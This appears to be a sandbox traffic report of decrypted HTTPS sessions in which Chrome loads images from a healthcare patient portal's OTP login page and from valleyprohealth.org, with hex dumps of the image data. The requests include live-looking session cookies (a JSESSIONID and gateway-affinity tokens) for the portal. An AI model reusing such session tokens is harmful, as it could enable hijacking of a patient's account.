215	192.168.2.4	50045	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:05 UTC	841	OUT	GET /portal14763/images/newLogin/successful.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:06 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Content-Length: 2023 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:06 GMT Accept-Ranges: bytes ETag: W/"2023-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:06 UTC	2023	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 3d 08 06 00 00 00 1e 62 61 e9 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 07 9e 49 44 41 54 68 43 ed 5a cd 6f 13 47 14 7f b3 bb b6 13 13 93 d0 16 5a 81 44 5c a9 1c 48 ab 02 42 aa a8 0a 8a 23 e2 43 d5 43 d2 73 0f f9 70 b8 f2 d1 3f a0 84 fe 01 6d b8 b4 87 e6 c3 fc 03 05 aa 96 4b 52 c5 40 b9 00 52 29 ad e8 81 4a 49 54 35 2a 45 2d 49 13 ec d8 de dd e9 7b 6b 6f 30 ce 7a 77 66 77 1d ab 12 7b 49 24 cf cc 9b df fc de bc f7 e6 bd c7 a0 05 5f ff e8 d8 59 c6 61 68 76 66 f2 48 0b c4 03 6b 85 50 04 3d 8e 82 cf cf 4e 4f b6 44 7e 4b 84 be 00 dd 02 55 f3 c5 74 6a 78 b8 2b 02 ea d0 6c 76 ea a2 9f 3d 07 65 fa 64 26 33 68 18 46 2e 97 cd ae f8 91 ef 0b 74 ff f0 58 8a 29 30 cf 01 ce cd 4d 4f 4e c8 Data Ascii: PNGIHDR==basBIT\|dIDAThCZoGZD\HB#CCsp?mKR@R)JIT5*E-I{ko0zwfw{I$_YahvfHkP=NOD~KUtjx+lv=ed&3hF.tX)0MON

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	50047	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	537	OUT	GET /wp-content/uploads/2020/09/62_PCMH.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/svg+xml Content-Length: 10022 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:18:37 GMT Vary: Accept-Encoding ETag: "64f5a0ed-2726" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	10022	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 32 2e 33 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	50048	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	802	OUT	GET /wp-content/uploads/2020/09/83_Behavioral-Health-Integration.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/svg+xml Content-Length: 10048 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:18:37 GMT Vary: Accept-Encoding ETag: "64f5a0ed-2740" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	10048	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 32 2e 33 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	50049	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	792	OUT	GET /wp-content/uploads/2022/11/FTCA-Badge_web-version.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	328	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/jpeg Content-Length: 157306 Connection: close Last-Modified: Mon, 04 Sep 2023 09:17:38 GMT ETag: "64f5a0b2-2667a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	16056	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 96 00 96 00 00 ff db 00 43 00 02 02 02 02 02 02 02 02 02 02 03 02 02 02 03 04 03 03 03 03 04 05 04 04 04 04 04 05 05 05 05 05 05 05 05 05 05 07 08 08 08 07 05 09 0a 0a 0a 0a 09 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff db 00 43 01 03 03 03 07 05 07 0d 07 07 0d 0f 0d 0d 0d 0f 0f 0e 0e 0e 0e 0f 0f 0c 0c 0c 0c 0c 0f 0f 0c 0e 0e 0e 0e 0c 0f 0c 11 11 11 11 11 0c 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 ff c2 00 11 08 02 ee 03 84 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 01 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 03 05 06 07 08 02 04 09 01 ff c4 00 1c 01 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 04 02 03 05 06 07 08 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 df e0 00 Data Ascii: JFIFCC
2024-04-24 12:45:06 UTC	16384	IN	Data Raw: 32 06 43 97 03 21 cb 87 2f 1c d4 17 3e 09 2a aa 0a cc 5e 5c 48 d5 f4 fa 0b be 27 35 2a 49 d3 c5 59 d0 ad 2f 09 5d 2d 94 4a 3f f5 23 1a 6b 66 fb 84 7e 35 57 aa 26 bd 67 c9 b1 f4 f5 1b aa dd 7b 93 f1 b5 32 c7 f5 d7 1f a9 9e 34 0b 5e 4d 73 c3 34 b3 14 57 38 e3 39 63 8d 8a 88 76 22 62 9d cc bd 87 86 67 06 cb 89 97 0e 5e 13 2e 3c bc 1c 81 90 32 06 5e 0e 43 97 0e 5e 39 d8 5e 35 ab b3 8a d4 7a fa 81 6c 90 56 bb 50 90 50 5a f5 15 18 e3 9a 93 c2 61 e8 68 e9 76 2e 60 26 51 9e 8b f8 b5 5e a8 9a f5 9f 26 c7 d3 d4 6e ab 75 ee 4f c5 b3 4d a7 01 10 aa aa 2e a8 ac 13 38 16 95 ed 4c 46 49 ee a7 c5 f3 98 42 ab 65 70 1e c5 c9 d3 c8 35 6a bb d7 15 d8 16 f5 f6 23 97 84 f1 31 d9 30 65 c7 91 8e c8 3c 47 23 1d 91 d9 31 d9 31 c8 c1 90 32 06 43 90 3f d0 8d c3 62 04 aa 39 83 20 64 Data Ascii: 2C!/>^\H'5IY/]-J?#kf~5W&g{24^Ms4W89cv"bg^.<2^C^9^5zlVPPZahv.`&Q^&nuOM.8LFIBep5j#10e<G#112C?b9 d
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 8a 55 59 b2 50 0a 95 24 62 8a 01 b9 59 cd 0d 13 dd 40 a3 7d e4 e7 55 d5 4e 71 39 a8 0d 42 79 a9 4e 71 2a 03 a8 73 a2 a1 cd 30 12 77 23 11 39 a9 b3 46 37 75 41 97 5a 55 9b 24 cf ea 2b 57 a2 b4 7a 2d 9b fa a1 1d d6 95 65 c9 4f cf c0 76 68 0a eb 8d f7 54 d9 ea d1 7f d5 f6 3e 01 fd 4f af 89 ef ba 38 11 f3 14 fc f8 52 64 54 3c c8 f3 fb 70 18 ea 8f 0c fc aa cb 97 82 d3 c8 7e 5a e9 56 84 23 77 44 f8 9c 4a 10 d0 1a ea d1 39 9f 1d a1 85 c3 72 85 b4 6d 0e a9 a0 35 a8 45 8f 72 8e 3b a1 43 19 07 7a 90 54 28 1a 40 de a5 87 d4 2b 8f 72 0c ba da 05 0c 74 cf 53 18 e6 a8 a3 a6 7a 98 c2 d3 a9 d1 9a ee 57 1c 53 19 75 3e 32 0d 42 0c 2e 3b d4 b1 de 57 5c 77 2b 94 6d 14 2d a0 de 9a c3 7a aa 76 17 64 a4 8e f0 57 5f 4a 28 a3 ba 28 b6 6e 61 f8 51 85 d5 af 8e ba ac fc cb 0c 16 15 Data Ascii: UYP$bY@}UNq9ByNq*s0w#9F7uAZU$+Wz-eOvhT>O8RdT<p~ZV#wDJ9rm5Er;CzT(@+rtSzWSu>2B.;W\w+m-zvdW_J((naQ
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 53 62 92 b2 c1 d1 07 43 50 82 a2 c2 16 25 63 f0 44 54 83 b4 e1 60 84 c3 76 80 94 f1 26 64 85 ff da 00 08 01 01 00 06 3f 02 ff 00 f6 b4 4d bb 37 9e a4 06 d6 a2 a6 90 be bd 43 f6 d2 f3 bd 99 d7 53 8b 48 ea 07 88 4e bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 Data Ascii: SbCP%cDT`v&d?M7CSHNWz?A^+{sz^Wz?A^+{sz^Wz?A^+{sz^Wz?A^+{sz^
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: ab 3f ce 1f 93 3a b7 7d 0c be 51 ee 90 8e 77 3d 68 7f df 1a 53 3f 23 f9 fa c9 ed fc 78 ce a7 d6 0b 49 cc 91 2a e4 ea b4 c3 77 13 69 30 15 25 52 30 02 44 44 4c 7a f5 bd 49 8e 76 19 fe a4 95 d0 ed b3 5c ec e8 c7 fd eb 57 9b 5a c3 72 01 39 6d 92 4d 9b a6 39 49 50 38 3d 9d 74 95 20 3f 59 1f f8 49 3f c4 26 3b fa b6 1c 5f f4 ad 25 5c 25 e0 7c f2 ec 07 58 8a 41 82 e4 78 f2 e5 25 c7 8b 55 6a be c9 5f 95 94 bc 63 5d 53 17 3e 5b 2d 2f 88 52 ad d0 9d 28 ae 8c b9 2d 32 5d 07 05 c0 c9 11 76 12 55 f8 bf ff 00 75 d4 fd d5 cb fc b9 92 0b e2 31 e3 24 f5 91 be 68 3f 87 d6 a2 25 20 a6 c4 e9 1b bb ed 88 de 27 aa ed db 8f f9 42 e9 57 ef a3 a5 79 22 ab 3f ce 1f 93 3a b7 7d 0c be 51 ee 90 8d f1 ae bf e9 eb 47 b9 e3 4a 67 e4 7f 3f 58 a1 f1 d1 47 eb a3 0f 88 4a 3f 52 e1 cc e7 4d Data Ascii: ?:}Qw=hS?#xI*wi0%R0DDLzIv\WZr9mM9IP8=t ?YI?&;_%\%\|XAx%Uj_c]S>[-/R(-2]vUu1$h?% 'BWy"?:}QGJg?XGJ?RM
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: d7 a0 8a cd de 33 8f b8 d9 bc 82 86 9c 06 b1 ce aa bb 13 0c ab 47 0e db 76 8f 32 48 26 6d 18 16 b5 14 e3 1e 54 ec 55 c9 d9 84 24 71 ae 93 22 86 54 cb d0 d9 71 44 3e ca 84 0d b7 66 72 35 da e2 30 62 66 e7 8c e3 a4 ce 40 4e eb c3 60 6b c2 9a 4d d7 5c ad d0 a7 bc 44 a0 31 94 f2 a8 26 c5 ca 78 97 65 76 54 69 cb 70 8e 90 a5 90 8b 2f e9 13 46 6a 5b 11 0b 67 15 5a dd 6a e0 c4 b6 6e 52 f9 d9 4d 1c ca 8d 0a 63 9d d5 c5 36 22 a2 7d 74 dc c8 ef 03 b1 5e 0d 20 3a 2b bd 50 5d 78 e3 47 74 b0 c1 b7 35 67 53 24 8a 93 c9 dd 3c a1 05 54 ce 99 13 00 45 c3 56 38 d3 f6 d9 42 31 a3 b5 67 8f 34 99 d4 4a db ce 38 e0 9a 69 38 f0 cb 4b 02 df 77 8d 2e 5e 0a a8 db 67 8e 64 4d b9 17 61 77 2a f0 fd d2 75 bc 62 41 9d ce ed 9b 04 5d 08 57 22 08 48 cf fd e6 27 c5 ab 65 4e d1 de e2 12 5b Data Ascii: 3Gv2H&mTU$q"TqD>fr50bf@N`kM\D1&xevTip/Fj[gZjnRMc6"}t^ :+P]xGt5gS$<TEV8B1g4J8i8Kw.^gdMaw*ubA]W"H'eN[
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 20 b8 d2 3c 15 5f 8e 95 bd df f6 7f b8 92 ba 2b 5d bf 77 2e 83 07 a1 f9 41 77 b2 fb ff 00 c5 7b 7f 5a 32 e0 3e 4f ae 27 19 7f af e7 38 e8 23 a8 29 7e c9 07 fc 3d d0 7a 04 7c 79 66 7e 39 d2 81 a9 37 01 2b 85 2c 3d 9a 27 b5 f6 88 49 e6 18 7a 03 4a ad 84 c9 3c 4c af b1 3d cf fb 83 d4 08 20 81 87 40 7d 00 06 5c be 83 d4 e8 4b 87 41 e8 92 a2 44 8c 48 91 22 44 89 13 a0 91 22 44 89 12 0a 58 3e c7 2f c4 26 05 a3 16 1c 88 c3 d5 e9 17 b6 7c ff 00 03 40 aa 0c 4c 82 19 58 5a de a6 66 5b e9 63 cf 2f f2 fa 46 3d 15 9e dd 0b 67 40 82 1a d5 3c fd fc 77 f1 2c 52 90 2f 2e 3b bf d6 8c b8 0f 93 e1 07 bb f6 7f d8 bf 6e a0 87 ab a5 5a 79 89 ff 00 0f 74 18 a0 c4 2d a4 3d 95 fe e2 b2 53 57 eb 7f a7 4c ec ad b7 e0 f0 fc 17 db aa 0e cb e9 5e ba 3e e4 27 e7 a0 18 74 04 0f 40 61 04 Data Ascii: <_+]w.Aw{Z2>O'8#)~=z\|yf~97+,='IzJ<L= @}\KADH"D"DX>/&\|@LXZf[c/F=g@<w,R/.;nZyt-=SWL^>'t@a
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 3f bc 0e 9d d0 b1 d0 29 ed 74 0a 06 c2 13 58 ca 3a 15 84 bf 42 88 0b f4 25 fb d3 81 a6 e2 88 06 36 10 96 08 73 c7 9a 7a e0 b8 32 36 02 9b 5e 77 fe ad 68 f2 a6 62 79 5a 23 d9 4a dd ca 4e d3 3f d4 f9 92 1a f1 3a b8 3a 26 ee 26 8c 04 66 fe 8c 2d 8c b1 0d f8 04 31 87 13 79 b1 d3 f0 02 82 74 2d 05 3d 8e 81 4e 80 45 1b 48 59 3a 5e f5 d9 33 a6 3d 2c 32 f9 13 68 4e 44 20 1e 01 32 73 3e ca 94 be b6 39 9e eb 08 0b 84 31 a8 9f f4 eb 47 95 33 13 ca d1 1e ca 56 ee 52 76 99 fe 9f 25 ea d2 60 17 41 1d 31 1a a1 a4 c5 4b 04 58 52 0f 30 cc d8 72 60 72 6e 40 bf 1c 83 1e bd 90 2c 81 b4 f0 82 81 b0 14 13 a1 c0 10 29 ec 6e 06 80 fd 0d e3 02 8c 3e 0f b7 4b 40 8c 0c 7a 7a 4e 6b 1f 16 14 98 44 a0 9a 21 33 09 c2 c1 c9 88 2c 3f a3 5a 3c a9 98 9e 56 88 f6 52 b7 72 93 b4 cf f4 49 a6 Data Ascii: ?)tX:B%6sz26^whbyZ#JN?::&&f-1yt-=NEHY:^3=,2hND 2s>91G3VRv%`A1KXR0r`rn@,)n>K@zzNkD!3,?Z<VRrI
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 5c 08 70 93 12 b1 9b cd ce 81 93 10 82 c2 29 06 a0 52 df 82 8b 82 d6 09 9e 6e 81 9e f8 21 db 42 6a 07 c0 09 c9 03 8f 38 55 b0 63 ec 05 c8 b8 be 79 79 0d a7 34 12 e2 c9 b4 85 ce 89 82 11 02 45 c3 08 20 15 a6 70 24 f8 20 c0 78 4e b7 67 d3 03 34 08 1d 24 a1 86 20 47 94 70 53 81 80 56 0b 5c c3 02 83 40 87 b2 79 10 71 19 b0 8b ac 8d 82 22 b7 83 93 0e e8 a0 9a 82 85 0c 9f f0 14 2f 89 34 aa 7b b1 6e 0b a8 48 40 60 3f 93 4a 7b 2d 00 e9 c2 d3 ba 85 bd 88 53 37 90 fe 56 12 64 60 78 30 42 20 00 8a ea 72 c8 dc d6 22 11 a0 11 f9 21 35 24 3a 7c 4e b4 01 dc 15 5a e0 20 cc bb 9a 24 00 ca b3 91 1d cc 83 69 10 b5 0d 84 60 c4 a0 00 8b ac e7 00 0e 70 02 a0 4c 53 7c a1 06 46 6c 35 dd 99 b1 46 08 38 5a 10 d7 62 2f c4 49 c5 9d c6 13 87 30 bc 48 17 4e ab 1a 62 34 36 10 f1 b9 b5 Data Ascii: \p)Rn!Bj8Ucyy4E p$ xNg4$ GpSV\@yq"/4{nH@`?J{-S7Vd`x0B r"!5$:\|NZ $i`pLS\|Fl5F8Zb/I0HNb46
2024-04-24 12:45:07 UTC	10178	IN	Data Raw: e2 55 f8 c7 cc 37 c6 5e 6c fc 66 9f a4 f1 86 2d 6f 8c 1c a3 7c 66 9b ba 66 30 1a 88 81 13 b3 0f 0c f0 2a 00 95 b8 6c 9c 27 2e df d0 b3 a6 17 fc 48 4d fe c1 8b 0a 17 6e 0e 7b c0 fc 61 01 98 76 05 6c 47 c2 66 82 3d e6 ed b9 c7 bc f2 be 9b fd 73 dc ce 2c 2a 60 f5 8d a9 80 cc dd 2e b3 8b bc d1 9c 7b cd 1c e0 a7 49 1b 50 b1 1d ae 1f 22 66 67 43 90 c8 f5 b3 ce 1a 9a 57 2f 9c 1c a0 62 64 05 81 73 56 10 d1 4d 3c db cc 29 4b 91 d6 07 42 e9 79 80 1b 6c 74 7c 59 14 0d a1 5d 6c 78 c2 59 52 4e 55 4a 3a 45 1c 1f 7c 36 f1 83 38 c1 f1 82 f9 cf 73 58 4f 33 07 c6 7e 1c 03 87 17 bf 43 7e 4f 39 e6 b1 3c 65 33 97 0d ca b3 c2 20 cd 9a 0b e7 db 80 00 04 0d 01 fa e9 f6 2c d2 73 8b 42 a7 c1 9f c7 f8 6e 4b 81 fd 15 3e df da a4 25 a9 42 f4 1d 0e 6b e9 67 91 52 78 cb 2a bc f1 9f 98 Data Ascii: U7^lf-o\|ff0l'.HMn{avlGf=s,`.{IP"fgCW/bdsVM<)KBylt\|Y]lxYRNUJ:E\|68sXO3~C~O9<e3 ,sBnK>%BkgRx*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	50051	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	778	OUT	GET /wp-content/uploads/2023/11/HDR-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Content-Length: 341758 Connection: close Last-Modified: Thu, 16 Nov 2023 13:55:19 GMT ETag: "65561f47-536fe" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd 0d 98 5c 65 7d 37 fe df f0 96 c8 db 2e f2 8e 85 6c 5a 51 10 30 01 e9 48 11 25 a0 62 05 81 50 41 a8 3e 98 a0 83 5a 95 26 8a 14 1f fd 2b 41 1f 5f a8 22 a1 16 4b eb 2a 49 b9 ea 83 a2 12 f0 81 6a 55 08 88 a8 5b 84 a5 88 68 b5 66 03 2d 2f 0a 92 05 89 09 a0 f3 bf ee e1 2c 86 90 97 dd cd 99 99 73 ce 7c 3e d7 35 57 42 48 ce dc e7 be cf cc ce 9c f3 3d bf 5f ad d9 6c 06 00 00 00 00 00 00 00 00 00 13 b7 99 39 03 00 00 00 00 00 00 00 00 98 1c 01 2c 00 00 00 00 00 00 00 00 80 49 12 c0 02 00 00 00 00 00 00 00 00 98 24 01 2c 00 00 00 00 00 00 00 00 80 49 12 c0 02 00 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATx\e}7.lZQ0H%bPA>Z&+A_"K*IjU[hf-/,s\|>5WBH=_l9,I$,I
2024-04-24 12:45:06 UTC	16384	IN	Data Raw: 2f c8 7b fe aa d5 ad 9f 93 29 28 b9 d7 b1 67 c6 ee af 3f a7 00 83 02 4a 4c 82 13 00 a0 22 04 b0 00 00 ca c7 c9 39 a0 e7 a4 8a 1a cb 2e fb 48 9c 70 e4 fe 1d ab b0 b4 a6 ad b6 dc 3c de 7d ea e1 71 d9 87 cf e8 da d4 9f 75 ea cb db ba fd 54 75 e7 cf de 7c ee 26 b5 7f 4a 55 c2 76 3f e9 9c 56 fb c2 4e 48 ed a0 c8 41 16 c4 da e1 e5 ef 8c 93 de 7b 49 2b 74 52 b5 30 56 7a 0d 5f fd 89 b7 b5 82 9c 79 da ff b9 bb e5 ba bd d4 96 ed c6 1f ff 67 ae db dc 90 1b 86 7f 9e db b6 f6 d8 65 fb 5c c7 96 02 96 79 b7 77 dc 90 14 9e 1a b9 67 45 bc e3 bc af c4 f4 93 3f 14 7f f6 8e 4f c5 51 67 5d d4 fa 7d 7a 5d 7c eb 07 3f 8f 87 1f dd f0 fb e3 ca 55 8f 4d b8 5a e2 55 37 fc 28 d7 fd 38 e4 85 03 b9 6e 6f 22 52 85 ca 7d ff 78 97 dc b6 97 02 78 a9 3a 5f 6a 5b f8 a6 d9 2f 8e 58 55 d0 f7 Data Ascii: 